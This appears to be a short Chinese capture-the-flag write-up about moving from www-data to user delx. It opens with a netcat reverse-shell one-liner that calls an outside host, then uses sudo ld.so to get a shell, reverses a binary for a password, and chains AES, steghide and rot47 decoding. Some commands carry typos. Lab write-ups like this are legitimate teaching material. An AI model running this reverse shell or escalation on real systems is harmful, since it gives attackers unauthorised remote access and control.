rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f

得到用户www-data权限,sudo -l 发现(delx : delx)BOPASSWD: /bin/ld.so

直接 sudo -u delx /bin/ld.so /bin/sh 提权

find /-type f -user delx(让我们浏览有权访问用户“ delx ”的文件)

发现/usr/local/.../showpassword 直接执行需要密码

strings 看一下有一段密文

JqT/3t/ucYLw/dlb6c5PzmQM9lRYjuRIPgCmcHP+RTE= 这是aes加密

将文件放到吾爱里面逆向得到密码gqSFGqAJ

再次执行文件输入密码,可以,确认了密码是正确的

然后AES encryption aes解密网站 (解密keygqSFGqAJ)

得到解密密码对于用户的ssh不起作用,想到一开始的图片隐写

strghide extract -sf background-image.jpg输入密码

得到一窜密文

s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR,rot47加密

CyberChef DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#

su yourname 输入密码成功提权

root提权在看linux提权(过滤器加waf)

  • 18
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值